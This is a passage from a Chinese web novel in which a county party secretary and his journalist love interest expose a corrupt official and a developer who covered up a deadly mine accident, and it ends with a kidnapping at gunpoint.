丁年目光如炬,紧紧盯着楚棠:“听说你的项目推进得都很顺利,几乎没遇到什么阻碍。在棠榴县,这种情况可不多见,很多项目都卡在各种环节上,你这儿却一路绿灯,这背后想来也是仰赖了不少部门吧?” 楚棠心里一紧,脸上却依旧笑着,连忙解释:“丁书记,主要是我们前期筹备工作做得扎实,又积极配合县里的各项政策,所以推进的比较顺利。” 丁年微微点头,话锋一转:“顺利是好事,但发展讲究个平衡,不能只看表面的繁华。有些项目前期看着漂亮,后期却问题不断,既浪费资源,又寒了群众的心。你在这儿投资,肯定不希望被人戳脊梁骨吧?” 楚棠额头渗出细密汗珠,赶忙表态:“丁书记放心,我向来做事严谨,一心想着为棠榴县谋长远发展,绝对不会做损害地方利益的事。” 丁年看着窗外的夕阳,意味深长地说:“棠榴县的发展,是全县人民的大事,每一个决策、每一个项目都关乎民生。我希望咱们携手共进,把每一件事都落到实处,别让大家失望。” 楚棠擦了擦汗,点头如捣蒜:“那是自然,丁书记的指示我一定铭记在心,往后还请您多多监督。” 丁年语气平和,却暗藏锋芒,“既然你有这份为地方谋发展的决心,那后续的工作可得经得起放大镜的聚焦,我们的工作是在群众的眼皮子底下开展的,每一项决策、每一笔资金的流向,都要经得起阳光下的晾晒,容不得半点含糊。往后的每一步,都得确保走得稳、走得正,不然,你这‘一帆风顺’的局面,说不定什么时候就成了‘风波乍起’的源头。” 这一番话连消带打,很有深意,砸的楚棠冷汗涔涔。 直到坐上了车还有点缓不过来,他有些暴躁的扯开衣领的扣子,“艹他大爷的!这小子什么来头?” 助理赶忙接话:“听说很有些背景,不然怎么会选了他空降,一来就是处级,跟咱们以前打交道那些不太一样。” “不一样?你去查查丁年喜欢什么,还有,再查查最近有没有不听话的声音传到他耳朵里了,如果有,你知道该怎么做!”,楚棠说着,一口气喝光手里的矿泉水,捏瘪了瓶身…… “是!已经开始查了!” “早早晚晚,我要让丁年知道,这棠榴县的棠,是我楚棠的棠!”,他眼底闪过一丝狠意,一脚踹上前面司机的座椅靠背。 司机会意,连忙发动车子,“楚少,咱们去哪?” “去世外桃源。” 蒋茄酒意正酣,一转头看到顾元正惬意的品着茶,有些好笑,“元哥,咱这会所有的是限定版的好酒,您跟这喝茶?怎么着?岁数上来了开始养生了?” 顾元淡淡的瞥了他一眼,“党纪党章不能忘,喝茶就行了,保持清醒。” “是是是,我元哥一身正气,两袖清风。对了,你瞧瞧我这世外桃源弄的怎么样?跟上回那个星河茶室比如何?” “还可以,这两个场所针对的人群不一样,没有可比性。但有一点你给我记住,有些底线不能破!要命的东西不能碰!不然,我也保不住你!” “诶呀元哥你就放心吧,我是正经商人!” “正经商人?那你调教的那些女人是怎么回事?我告诉你,你那个脑子不要转,有些事情不适合你。” “我办事你就放心吧我的哥!对了,上了月的收益我已经存到你国外的安全账户里了,你抽空查收一下。” “你名下经营的集团收益,跟我有什么关系?我只是作为好友来捧个场而已。” 蒋茄摊手,“元哥,弟弟我跟你心连心,你可不要跟我玩脑筋,我是真玩不过你!我发誓,真的没人知道这里面有你一半!自己人聊天就别这么绷着了!” 顾元笑了笑,“小心驶得万年船。” 楚棠推门进来,一坐下就开始诉苦:“哥哥们,你们说的这个丁年,可真不是个好相与的!弟弟我真是有苦说不出!” 蒋茄看了顾元一眼,推了杯酒给楚棠,“怎么了这是?来,喝杯酒压压惊。” 楚棠一口饮尽,“我今儿去拜访他了,好家伙,一点好脸没给我!让我吃了一顿排头!” 蒋茄还有些得意,“怎么样?我年哥的水平是不是很高?特别有深度对不对?” 楚棠特别诧异的看他一眼,“不儿,蒋哥,您哪伙的?” “哈哈,那肯定跟我元哥一路的,但你也得承认年哥优秀不是?” 楚棠认命的点点头,“是是是,你们哥几个都是人中翘楚!” 顾元放下茶杯,咳了一声,意有所指的开口,“听说榴花村的矿出了点问题?” 楚棠连忙正色点头,“是,一点小事故,死了几个人。” 顾元神色淡漠,“煤矿死几个人很正常,只是听说家属闹的很凶,我这压了一下,但是丁年很快就会知道,他知道了,就不是小事了。” “哥,您给弟弟指条路吧!” “死了几个人呐?除了临时民工之外,正式工人有几个? “五个。” 蒋茄没忍住插话,“不算农民工还死了五个正式工?你管这叫小事故?” 顾元嗤笑一声,“楚棠,死的人多没什么,但你要是跟我撒谎,连我都瞒,这性质可就变了。” 楚棠赶紧倒了杯酒放到顾元面前,“是七个正式工。” 顾元没有看那杯酒,指尖轻轻敲了敲桌面,蒋茄特别上道的将他面前空了的茶杯续上茶。 “七个不行,要是四个,还好。” “那我这就回去让他们收拾一下!”,楚棠说着,火急火燎的走了。 蒋茄愣愣地问:“元哥,死人了,这么处理能行么?” “听好了,哥就教你这一遍,不敢耍手段,就没有家财万贯。” “哥!你说的对!那我下一步该怎么做?” “你想不想掺一脚楚棠的矿?” “那我当然想了,只是那兔崽子油盐不进的,我给他暗示过,他总跟我打太极!”,说完,他突然想到了什么,看了一眼顾元,“你是说?这次的事就是个机会?” 顾元笑笑喝了口茶,“这个事你就等我安排吧,现在有另一个事要你去做。” “哥,你说!” “我刚进来的时候,看你那批女人里,有一个神态很像虞岁,长得也有几分相似,你把她,调好了,先去丁年那露个脸,再送到越暮身边去。” 蒋茄挠挠头,想了半天,“哪个女人像虞岁?我怎么没注意?就那么一晃而过,你连神态这种细节都发现了?” “第二排最左边,穿粉色裙子的。” 蒋茄不解,但蒋茄听话,“行,我亲自去,到时候给你发照片。可为什么还要过了年哥那边再给越儿?这能行么?” 顾元笑的高深莫测,“这你就不懂了吧?安排个跟虞岁这么像的女人到越暮身边,丁年会怎么想?一个男人,自己得不到的,却在兄弟身边,这一来二去一次两次多次目睹的,这兄弟还能做的那么牢固么?他总会去想越暮的用心,是不是早就对虞岁有觊觎之心;再者,白色被染指的瞬间还是能看出白的影子,要的是渗透,久了,就说不清了;还有,绕一圈再送到越暮那里,虚晃一招,不要让人看明白针对的是越暮,如果丁年动心,那也算意外之喜了。” “为什么?” “因为虞岁一定会介意,我很期待丁年如何自处。” “可是越暮会接受么?” “越暮他暗恋虞岁也不是短时间了,美人计,重点不在于美人,在于计,攻心,谋心,这样一个从他心底量身定制的女人,他根本无法拒绝。” “元哥,你这弯弯绕绕可真多!既挑拨了越儿和年哥,又能拉拢越儿跟咱们站一起,顺道还能借着虞岁伤一下年哥!一石三鸟,真是妙啊!”,蒋茄说着,靠近顾元。 “你干什么?” “我想抠开你这脑袋看看里面怎么长得,说实话元哥,我一直觉得你比普通人多长了一圈脑弦。” 顾元拍了拍他的胳膊,“那不叫脑弦,那叫脑回和脑沟。” 榴花村,虞岁看着跪在她面前的村民大受震撼,一张张淳朴的脸上满是哀戚,那是一种对未来绝望的神情。 她慌忙伸手去搀扶其中一个上了年纪的老人,“大爷,快起来!你们既然找到了我们栏目组,我一定会据实报道,让社会大众都关注到这件事!” 同事小暑也赶紧去扶其他村民,“快起来快起来,我虞姐既然这么说了,她就一定会为大家发声!快起来!” 老大爷慢慢站起来,抹了把眼泪,“孩子,我们这事,找了村上,村上和镇上就是踢皮球,没有人管我们!去年矿上也死了几个人,赔了点钱就不了了之了,今年又这样,你看看我们!地被占了,家里的壮劳力在矿上出了事,剩下老的小的,日子没法过啊!上头一直拖着,我们跑断了腿,也讨不到个说法!他们不给我们活路啊!” 其他人七嘴八舌的跟着附和: “是啊!地被开发商占了要建度假村!占地的钱也没个说法!” “他能有什么说法!隔壁的棠梨村都张罗了大半年了,也没等来说法!” “黑心肝的开发商!他上头有人!找了也没用!张贵想去县里上访都被楚棠派人拦在村口了!活生生的就给打断了腿!现在还在家里躺着呢!” 虞岁和小暑对视一眼,小暑手忙脚乱的掏出笔记本准备记录…… 虞岁颤抖着手拿出录音笔按下录制键,语气哽咽,眼眶泛红,问了一连串的关键问题:“大爷,能给我讲讲去年矿难的详细情况吗?比如死的都是哪些人,赔了多少钱,有没有签什么协议?开发商占了多少地,有没有出示相关文件?那些占地的钱,是一分都没给,还是给的金额不合理?他们拦人打断腿,能说说是具体什么时候、什么地点吗?当时有没有其他人在场看到?张贵被打断腿,报警了吗?警察那边怎么处理的?” 众人你一句我一句的说完,老大爷深深的叹了口气,“天高皇帝远,这群人就敢只手遮天!” 虞岁咬咬牙,一字一句的说给他们又像是说给自己听:“你们放心,我一定会讨一个公道!” 回电视台的路上,小暑情绪激动的问虞岁:“虞姐,咱们真的能帮这些村民讨回公道么?去年你还没来,你不知道,那时候也有人往咱们台里打过电话,最后都被压下了……听台里的老人说,这种事几乎每年都有,最后都是雷声大雨点小。” 虞岁低头看了眼面前摊开的本子,上面密密麻麻写满了访谈记录,一行行字像是从苦难里生长出来的,黑色的墨水在纸张上晕染开,每一个字都承载着村民们的血泪与不公,她的眼神渐渐变得坚定,“总有人要为公道披荆斩棘,之前不了了之是因为大家都有顾忌,我不一样,我身后空无一人,我无畏无惧。” 刚一说完,她们的车突然被一股不知从何而来的强大冲击力狠狠撞上,车身剧烈摇晃,发出刺耳的金属碰撞声。 虞岁和小暑被撞得向前扑去,安全带紧紧勒在身上,勒得她们生疼。挡风玻璃瞬间布满了如蛛网般的裂痕,细碎的玻璃渣簌簌落下。 “怎么回事?”,小暑惊恐地大喊,双手死死握住方向盘,努力让失控的车子保持平衡,可车轮与地面摩擦出尖锐声响,车身还是不受控制地向路边冲去。 虞岁脸色苍白,想到了什么,费力的抬起手把录音笔塞进头发里,快速的盘起来。她知道,自己可能已经触碰到了某些人不想被揭开的秘密 。 “小暑,等会不要说话,不要出声,先装昏迷,伺机而动。” “好!” 在车子翻进路边的深沟之后,尘土飞扬中,有两个壮硕的男人走近她们,一顿翻找之后,按下打火机,把虞岁面前那本访谈记录烧了…… “老三!你在干什么?” “嘿嘿,鬼哥,这娘们长得真是极品,比镇上最美发廊的仙仙还好看!我好几天没开荤了!让我爽一把!”,他说着动手解虞岁胸前的纽扣……一颗……两颗…… 虞岁放在腰侧握着刀的手刚要动,一阵电话铃声划破了夜晚的静谧…… 被称做鬼哥的男人接完电话,一脚踹倒老三,“别他妈jing虫上脑了!大哥有事吩咐,赶紧走!” “诶!好嘞!可惜了!下回再碰上再爽吧”,老三说着,还恋恋不舍的摸了一把虞岁的脸。 听着两人脚步声渐远,虞岁刚要喘口气,听到他们的对话,心又提到嗓子眼…… “鬼哥,咱们不用再翻翻么?她们记者不是有那个啥,那个录音笔么?” “不用,这次只是个警告,两个女人,被这么一吓,有录音笔量她也不敢放!活腻歪了吗?” “也是哈,唉,真可惜,要不是大哥催的急……” “放你妈的屁!等你出息了,玩什么女人没有!” “也不定有这样的,她比电视里的女明星还好看!” 鬼哥一巴掌扇到他后脑上,“唧唧歪歪个球!赶紧开车!” 车子开远后,又等了许久,久到虞岁能听到风里自己的心跳声,她才慢慢睁开眼。 劫后余生让她有种脱力感,这时候才发觉脑袋晕的厉害,浑身哪哪都疼,她动了动手指,摸到手机……拨出了一串烂熟于心的号码…… 书记办公室,丁年听着叶九的汇报,眉头越皱越紧,“矿难发生好几天了,消息才到我这,无能!正式工的人数怎么卡的就那么准?!” “这……有什么讲究么?” “呵,这里面学问可大了,这个数字卡的刚好不算重大事故,看来背后有高人指点呐。” “那咱们下一步怎么办?” 丁年的电话响了,他看了一眼来电提醒,有一瞬间的怔忪,随即接起,半晌,声音有些颤抖,“岁岁?你在哪?” 叶九有些吃惊,他跟着丁年这几年,还是第一次见他有这样情绪外露明显的样子,他很是好奇电话那端的人是谁,但有一点可以确定:这人对丁年很重要。 “别怕,不要挂断电话,等我”,丁年有些慌乱的站起来,大步往外走,到门口的时候,偏头看了一眼还呆站在原地的叶九,“查到底,相关人员全部问责!” 丁年把电话放在副驾驶,开着车一路疾驰,恨不得把脚踩进油箱里,不知道闯了几个红灯,终于见到了他心心念念的人…… 在看到不远处的虞岁时,丁年跌跌撞撞的跑过去,脱下外套裹在她身上,小心翼翼的抱起她…… 虞岁看到丁年的这一霎那,眼泪终于决堤似的流出,哭的像个委屈的孩子,哭的丁年的心都要碎了。 丁年轻声的哄着她,“岁岁,岁岁别怕,我在。” 医院病房,丁年看着躺在病床上脸色惨白的虞岁,很后悔自己当时为什么要放她去追个真相。 他真恨自己!他就该把她绑在自己身边,无论用什么手段!不管她怎么反抗!他就该不顾一切! 是了,这次该不顾一切了,想到这,他拿出手机编辑了条信息:计划提前。 得到消息的顾元和越暮也第一时间赶来,在看到虞岁的时候,神色各异。 顾元走到丁年身旁,安慰着,“年哥,你要冷静,这时候你不能倒下。” 越暮有些控制不住,他走到丁年面前,一把攥住他的衣领,“你就是这么爱她的?你不是有通天本领么?你怎么不用啊?” 丁年思绪回笼,看着面前气急败坏的越暮,好像明白了什么,又看了一眼昏睡中都蹙着眉的虞岁,什么都没说,反手捏住越暮的手腕,拖着他一路走出病房,走到露台……干脆利落的给了他一拳! “你以什么身份跟我这样讲话?”,丁年说着,脱掉外套,挽起衬衫袖子。 越暮舔了下嘴角的血,二话不说挥拳打向丁年,丁年轻巧的躲开,反手打向越暮的肋骨,沉闷的撞击声在露台上响起,越暮脚步踉跄了一下,却很快稳住身形。 风呼啸着吹过,吹乱了两人的头发,也吹不散空气中剑拔弩张的气息。 “你以为我想让她变成这样?”,丁年怒目圆睁,声音中带着几分嘶哑,“你什么都不知道,也配质疑我有多爱她?!”说着,又是一记凌厉的直拳。 越暮侧身闪过,眼中满是怒火,“我什么都不知道?三年前,我看着她因为你难过伤神!看她因为你一天天憔悴!你他妈要是保护不了她就不要再招惹她!”,他边说边攻,招招带着狠劲。 两人你来我往,拳脚相交,丁年一个扫腿,越暮连忙跳起躲避,却不慎撞到了露台的栏杆上。 他稳住身体,眼中闪过一丝决绝,不顾一切地冲向丁年,两人瞬间扭打在一起,谁也不肯退让半分 。 顾元烦躁的点了根烟,拨了个电话:“市医院露台,速来,给你五分钟。” 蒋茄赶到的时候,看着眼前打的不可开交的两个人有点莫名其妙,“元哥,这怎么回事?” 顾元不接茬,说起另一件事,“去告诉楚棠,咱们的记者在榴花村出事了,让他把相关的人交给警察,这事,他要是不拿出个让我满意的态度,他这条财路就算断了。” “哦哦好”,蒋茄一边答应一边跑到丁年和越暮中间,挨了几拳之后终于分开了狼狈的两个人。 “年哥,越儿,大家都是兄弟,你们跟这闹什么?” 越暮挣脱开他,指着丁年说:“从今天起,他再也不是我兄弟!” 丁年捡起外套抖了抖,低垂着眼看不清情绪,淡漠的说了一句:“道不同不相为谋,从今以后,我没有兄弟。” 蒋茄看着丁年走远的身影,喊了几声年哥他也脚步不停,感觉心里空落落的,“这怎么突然就闹成这样了?” 顾元走过来,“行了,都冷静冷静,走吧,找个地儿聚一聚。” 三人到了世外桃源,越暮一副借酒消愁的模样,一杯接着一杯机械的灌着酒…… 顾元点了根烟,隔着燃起的烟雾问越暮:“就这么喜欢虞岁?” 越暮又喝了杯酒,醉眼迷离的苦笑,“元哥,你知道的,从小到大我最崇拜的就是年哥,我本来啊,到死都不准备让他知道我对虞岁的心思,其实他俩多配啊,我看着就挺好,但是没想到变成这样……行了,就像他说的,以后不是兄弟了。” “越儿,咱们这样的人,最不缺的就是钱和女人,什么样的女人没有?不要在一棵树上吊死。” 越暮像是有些醉了,“那元哥你,怎么除了权,从来不碰女人?其实我知道,你心里啊,也有虞岁。咱们四个除了蒋茄,谁心里没有虞岁?谁也别说谁了。” 蒋茄有点不好意思,他能说他也有那么点心思么? 顾元眯了眯眼,好像第一次认识越暮一样,也对,他们这种背景的男人,人情世故这事心里都门清,狼窝里怎么可能养出兔子? 既然这样,就摊牌吧,“越儿,你可以跟丁年争一争,赢了,虞岁就是你的。” 越暮仰躺到沙发上,盯着上方奢华的吊灯,“怎么争?我怎么争的过他?” “我会帮你啊,其实你把问题想的太复杂了,不用非得赢他,只要把他踩下来,就够了。” 蒋茄听到这,张了张嘴想说点什么,怎么就这么轻易的说出这话?就不怕越暮倒戈?之前不还说要慢慢渗透么?转念一想,顾元这个人,一向自信,他能这么说,应该是有他的道理和把握。 越暮摇摇晃晃的端起酒杯,“元哥,做兄弟,在心里,以后,我都听你的!” 顾元看着火候差不多了,使了个眼神给蒋茄,蒋茄打开门,不多时,一个身姿曼妙的女人就走了进来,坐到越暮身边……正是之前那个有几分神似虞岁的女人。 几天后,丁年来接虞岁出院,“岁岁,去我家好吗?让我照顾你。” “不太合适。” 丁年半蹲在虞岁床前,“别拒绝我,你一个人在外面我不放心,再有一次这样的事,我会疯的,求你听我一次,行吗?” 虞岁一直都知道,丁年生了一双深情的眼睛,他直勾勾看着你的时候,让人感觉如果拒绝他会有一种罪恶感。 良久,她听到自己的声音轻轻响起,“好。” 安顿好虞岁,丁年又一次认真的问:“虞岁,给我一次机会好不好?我可以不要名分,就让我陪在你身边,行么?” “丁书记,我不想跟你玩爱情游戏。” 丁年的声音染上一抹愠意,“玩?在你心里我就是在跟你玩?” 虞岁又有些恍惚了,他这个样子,与她记忆中的影子重合,让她想起,他曾经也是意气风发的,鲜活的,会害羞,会脸红,会撒娇,会耍宝,会犯浑,会气急败坏的求她爱他……是无可替代的,虞岁的丁年啊…… “丁年,别骗自己,理智一点,你觉得,我和你,还能在一起么?你知道我问的是什么。” 丁年活到现在,有两次无比坚定,一次 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虞岁笑笑,“我现在就去,对了,榴花村那个事件怎么样了?” “说来也怪,不知道怎么回事,反正结果就是解决了,那个开发商楚棠赔了好大一笔钱,还有撞我们那两个地痞竟然去警察局自首了!” 虞岁稍微一想也明白了,“就只是这样?其他的呢?” 小暑有些疑惑,“其他的?矿难的家属得到了赔偿,征地的钱楚棠也大方的给了,还有什么其他的?” 虞岁感觉心里梗了些什么,又不知道从何说起,“好吧,我先去找台长。” 台长办公室,看起来老谋深算的台长招呼虞岁坐下,带着点讨好意味的给她倒了杯茶,“小虞啊,喝茶,恢复的怎么样了?你还可以再休息一段时间,放心,都是带薪休假。” 虞岁也不跟他绕弯子,单刀直入的说:“台长,榴花村这个案子,我还想继续跟,这个事情不是看起来这么简单……” 台长抬手止住她还要说的话:“小虞啊,做事不要这么不懂变通嘛,你看现在,家属呢,得到了补偿,甚至是三倍的赔偿,我都派人了解过了,他们满意的不得了,这个结果,还有什么好继续跟的?” “可是,这不仅仅是钱的问题啊,这背后……” “这背后什么?背后有什么,也不是你,或者我,能管得了的,你明白嘛?你年轻,这里面的水太深,你淌不过去的。小虞,你工作能力没得说,一直很出色。台里也一直很重视你,这不,有个重要项目,是个晋升的好机会。只要你接下来好好干,之后升你做组长,怎么样?这次的事就翻篇了,别再深究了。” 虞岁不知道怎么形容她此刻的无力感,就是她明知道苹果烂透了,她想扔掉,但是别人偏要吃,不仅要吃,还让她不要拆穿这果子烂了,甚至愿意用完好的苹果来换她手里的烂果。 她深吸了口气,“台长,您说的对,我还年轻,恐怕不能胜任太重要的项目,我还是再历练历练吧。” “谦逊,那这样吧,台里尊重你的意见,这个位置会给你保留。” “那您没什么事的话,我就再去跟进手头的案子了。” “没事了,去吧,诶对了,见到丁书记和顾局长的时候,代我向他们问好。” 虞岁压下心里的疑惑,没有再多问,只点点头,“好。” 丁年她倒是不意外,顾元?他掺合什么?三年前的事她还没找他算账呢! 看来,她有必要再去一趟榴花村。 但她不能再莽撞了,她想了想,打电话给丁年,“有空么?陪我去个地方。” 丁年翻了翻行程表,“去哪?” “诚邀丁书记微服私访。” “好,我去接你。” 丁年挂断电话,问叶九,“还有两个小时下班,有什么必要解决的事吗?” “没有了,都是一些需要跟进的问题。” “好,你仔细点,有什么问题随时给我打电话。” “好的书记,您是要出去么?要给您安排车么?” “不用,低调一点,不要让人知道我不在。” 丁年每次看到虞岁都觉得,他好像得了一种见到虞岁就会笑的病。 “说吧,去哪。” 虞岁边扣安全带边说,“榴花村。” “坐稳。” 虞岁有些感慨,“你都不问我要做什么,或者问我为什么还去么?” 其实这是让虞岁很感动的一点,无论是从前还是现在,无论她想做什么,丁年总是无条件的支持她。 仿佛只要她想,他就会纵容她的一切,那是一种本能。 有时候她甚至有一种错觉,哪怕某天她杀了人,丁年都会淡定的抹去刀上的指纹,从容的帮她收尾。 果然,下一秒就听到丁年淡定的声音,“如果你仅仅是告诉我,那我会问。但我这不是陪在你身边么?你想做什么都可以,只要我力所能及。” 只要我在,只要让我有机会为你托底,那我就安心了。 “丁年,你总能让我心软。” “是么?那你能一时昏头嫁给我么?” 虞岁不回答他这个问题,转而说起刚刚的问题:“我们台长说,事情的结果大家都很满意,让我不要再淌浑水,你知道么?那一刻我觉得自己像个小丑,好像错的人是我。” “天鹅落在乌鸦堆里,生的纯白不是天鹅的错,只怪乌鸦太黑了。” “谢谢,有被你安慰到。” 丁年笑的惑人,连带着不常见人的酒窝都露了出来,“不是安慰,是陈述事实。” “真开心事实是我想听的。” “这么开心的事实我能不重样的讲一辈子,你愿意听么?” 虞岁抿了抿唇,“台长还想用晋升堵我的嘴,丁年,你的身份摆在这,我要说跟你认识一点都没有开绿灯,那不现实,我也不矫情,很多时候不用你亲自说,他们自然也会看在你的面子上给我优待,也正是这样,我才不希望你再着意的去关照。” 丁年看了看不远处的村牌,把车子停在隐蔽处,看向虞岁,认真的说:“有没有可能是你足够优秀?即使没有我,你也有能力坐上那个位置。而认识我,只不过是别人说服自己承认你优秀的一个契机。” 虞岁有一瞬间的呆滞,丁年真是,思路可爱的令人动容,他说的诚恳,没有丝毫的刻意讨好。 “丁年,对你心动,真的像呼吸一样简单。” 丁年为她打开车门,一边撑在车顶护着她的头,一边说:“那么,请你永远不要停止呼吸。” 等他们从榴花村采访完出来,一路上虞岁都有些沉默,路过一片荒凉的土地时,虞岁轻声开口:“丁年,你看到了么?他们都在感谢我,但其实,我觉得内疚,我并没有真正的还他们一个公道,这些事情的始作俑者和他们背后的保护伞,并没有伤筋动骨,都还好好的,可这些村民,这些支离破碎的家庭,不光是用钱就能弥补的。” “别急,路要一步一步走,走的太急,会摔倒。” 虞岁偏头看他,“你现在,站到能制定规则的位置了么?” 丁年轻叹一声,“说实话,还远远不够,但是你放心,很快了,这一段路,很快就能找到出口了。” 下一段路,还任重道远。 虞岁的电话响起,她看了一眼丁年,“是顾元”,丁年点点头,虞岁按了公放,顾元的声音在车里响起,“岁岁,你跟年哥在一起么?” “嗯。” “那你们一块过来吧,大家好久没聚了,有些误会,讲开了就好了。” “好。” 电话那端报了个地址就挂断了。 虞岁突然问了丁年一句,“三年前我父母的事,你查到了是谁做的,对么?” “对。” “你狠得下心么?” 丁年笑了,“除了你,我都狠得下心。” 世外桃源顶楼套房,虞岁看着越暮怀里抱着的女人,有些心梗,“越暮,这位是?” 越暮牵着那女人的手站起来,“今儿人来的齐,正式给大家介绍一下,这是我女人,赵虞。” 丁年的脸色有些冷,“越暮,你别犯浑。” 越暮嘲弄的说:“怎么了丁书记?我的家事你也要管?手伸的还怪长的。” “别忘了你的身份。” “少他妈给我扯那套!赵虞年纪轻轻的跟了我,我给个名份怎么了?你跟虞岁不也一样?我还比你强呢,起码我愿意负责,我不像你,假清高,真怂包!” 越暮话音刚落,虞岁端起一杯酒泼到他脸上,“闹够了没有?”,酒水从他脸上滴到他的衬衫上,房间里有一瞬间的静默…… 好半晌,赵虞惊呼一声,扯了张纸巾细心的擦去越暮身上的酒渍,转头看着虞岁怒斥,“你他妈有病吧?哪来的野女人?” 丁年一巴掌扇到越暮脸上,“我不打女人,你给我拴好她!” 赵虞还要再说什么,顾元看了蒋茄一眼,蒋茄走过去给了她一脚,扯着她的头发拽了出去,“来,爷今儿心情不好,亲自教你规矩,算你赶上好时候了!” 顾元走过来打圆场,“岁岁,蒋茄手底下的女人不懂事,不要为她伤了和气。” 虞岁今天的怒气已经到了临界值,也不想忍了,很不客气的说:“顾元,你总这么端着累不累啊?我今儿就把话说明白了,三年前,你和你家老头子对我父母做了什么,你心里清楚!现在就不要再给我粉饰太平了!你和你的圈子,都烂透了!让我恶心!” 顾元如遭雷击,缓了又缓,很是受伤的问:“岁岁,你在说什么呀?” “我父母,根本不会做生意,要不是你和你家老头子撺掇,他怎么可能误入歧途?我承认他不是什么良善之辈,但是,出了事就推他顶锅的你们,更不是好东西!你不承认没关系,我总会让你还个公道就是了!”,虞岁说完就走,再不看他们。 “年哥,她说的我怎么听不懂呢?” “元儿,好自为之吧”,丁年说完,追上虞岁。 顾元看着他们离开的方向,笑着问越暮,“她说的,你信么?” 越暮坐下,倒了杯酒,一口气喝光,把杯子重重的放到桌上,“元哥,说这个没意思,你就说你想怎么踩死丁年吧。” 顾元也不再纠结了,坐到他旁边,往他的酒杯里倒满酒,“这个,就要看你的了。” 回到家,虞岁还是气的不行,“你们这种男人不会以为越暮那种方式很浪漫吧?别自己感动自己了,一个图钱,一个图人,最后出来个爱情,不觉得很可笑么?把搞特权和包yang的权色交易玩的如此清新脱俗,真让人大开眼界!多看一眼我都生气,浪漫么?一点也不,因为他用来哄她开心的,是我们老百姓的纳税钱!” 丁年耐心的听着,然后给她倒了杯热水,“渴不渴?喝口水再说。” 虞岁喝光杯里的水,问他:“丁年,这几年,你有没有像他一样?” “我没有。从始至终,我只有一个你。我说过,我只需要你。你要相信我,党不允许我说谎。” “那这一刻,我和党,谁重要?” 丁年从善如流的回答,“你。” “再多问一秒,答案就不是我了,不过也是,没有党哪有我。” “现在心情好了么?你刚刚,有点冲动,顾元那个人,没有十足的把握不要招惹他。” 虞岁忽然站起来,走进房间拿出一个盒子,又从随身的包里拿出一支录音笔,递给丁年,“这里面有他的海外账户资料,还有他家老头子的一些辅助证据,这支录音笔里,有人证口供可以作为参考,我不知道这些够不够,不够的,你能补充么?” 丁年深深的看了她一眼,“好,我补充。” 破败的烂尾楼,丁年看着面前的人,“怎么样?还受得住么?” “年哥,你可别小瞧我”,越暮摘下口罩,揉了揉鼻子。 “辛苦你了。” 越暮讪笑着,“哥,咱俩之间不说这个,只不过,我真怕你生气。” “都是假的,我为什么要生气?” “其实,有一件事是真的,我暗恋虞岁,是真的,对不起年哥。” “为什么对不起我?岁岁那么优秀,你喜欢她,只能说明你很有眼光。” “哥,我以后也会一直喜欢她。” “嗯,喜欢她我也不会给你机会。” “哥,我也喜欢你,我会一辈子喜欢你和虞岁。” “嗯,谢谢。” “哥,你要的东西我拿到了,这是钥匙。” “表现不错,等你家老越再说你,我一定为你据理力争。最近怕是不能太平,我给你报了个班,今晚就送你走。” “好,都听你的。” 丁年回到家,看到在厨房忙碌的虞岁,心脏好像被羽毛拂了一下,说不出的熨贴。 原来,烟火气里弥漫的是幸福到想流泪的味道。 他洗完手,走到虞岁身边,“有什么需要我帮忙的?” 虞岁想了想,“我想喝石榴汁,你把冰箱里的石榴剥了给我榨汁吧。” “好。” “我还记得你从前可是抱怨过剥完石榴手黑的洗不掉汁液呢,你不会在心里怪我吧?” “不会,我喜欢石榴汁液黏手的感觉,如果你也能这样黏我,我将荣幸之至。” “丁年,那你走一步吧。” “你是说?” 虞岁眨眨眼,“就是你想的那样,等事情告一段落,我会给你答案。” 丁年放下洗干净的石榴,快步走到书房,取出纸和笔,拉着虞岁走到桌前,“那你写保证书”,又指了指信笺抬头处的党徽补充,“不能反悔,不能说谎。” 虞岁失笑,郑重其事的写下一行字:丁年,年年有虞,岁岁予你,风虞同舟。 「经调查核实,顾元在任职期间严重违法违纪,利用职务之便,以权谋私。其在多个项目中收受贿赂,累计金额达亿元,不包含现金、房产等财物,工作中,顾元无视规定,擅自违规干预项目决策、资源分配,致使多个项目遭受严重经济损失,给国家和集体利益造成重大损害。 顾元的行为违反《刑法》《公职人员政务处分法》,已涉嫌行贿罪、受贿罪、滥用职权罪。目前案件已移送司法机关,将依法追究其刑事责任。 特此公告,望公职人员严守法律底线,欢迎社会各界监督。」 叶九感觉今天丁年心情不错,忍不住问:“书记,您这是心里的大石头终于挪开了,接下来就能大展拳脚了吧?” “是啊,终于能为棠榴县的百姓做点实事了。对了,订婚戒指和结婚戒指能直接一步到位么?” “都是婚戒,没什么区别吧?” “算了,你连个女朋友都没有,问你也白问,还是应该先选一款订婚戒指,再定制一款结婚戒指,这是仪式感,一步都不能省。” 叶九有些委屈的看了眼丁年,他可真像个真人啊,但自己怎么还有点怀念假人时期的丁年呢? 电话铃响,丁年看了眼时间,以为是虞岁,眉眼含笑的接起,下一刻,笑容凝滞在脸上,“顾元?”,又看了一眼来电提醒,“岁岁呢?” “城郊烂尾楼,你自己来。” 虞岁睁开眼就看到楚棠目露凶光的脸,短暂的慌张之后,她冷静下来,“你想怎么样?” 楚棠表情狰狞的说:“死女人!上次你进榴花村采访出事我就该想到,老子早晚有一天栽在你手里!你那个丁年像疯狗一样咬住我不放!赔了钱不够,还想要老子的命!” 虞岁也不想刺激他,但是她想到榴花村那一张张淳朴的脸,想到她父亲的绝望母亲的哀伤,她就忍不住,“楚棠,走到这步,你一点也不无辜。” 楚棠癫狂的紧了紧捆住虞岁手的绳子,又掏出把枪抵住她的头,“对!我不无辜!哈哈,我就要死了,但是,有你陪葬,也值了!这丁年还不得伤心死!哈哈。” 顾元打完电话回来就看到楚棠用枪抵着虞岁的头一步一步拖着她走到楼边,“楚棠!你在做什么?!” “哈哈哈,元哥,心疼么?怎么不心疼死你!老子赔钱又割矿给你!还是走到这步!那就都别活!” “楚棠,放下枪!现在还没到绝路,我已经打电话让丁年来了,只要他死了,一切就还有余地。但是如果虞岁死了,你就回不了头了,没有人会放过你!” 楚棠有些犹豫,顾元继续劝他,“把枪给我,或者,把虞岁给我,我保证,你还有机会。” 感受到楚棠卸了劲,虞岁一步一步往回挪动。 不知道他又想到什么,忽然反悔了,“算了吧元哥,我不傻,动了虞岁,在丁年那就是死罪。” 丁年赶到的时候,就听到一声枪响,他感觉心脏瞬间停止跳动了…… 这半生,只有三次他有这种感觉,第一次,是三年前虞岁离开他那个夜晚;第二次,是不久前在深沟旁找到虞岁的时候;第三次,就是此时此刻。 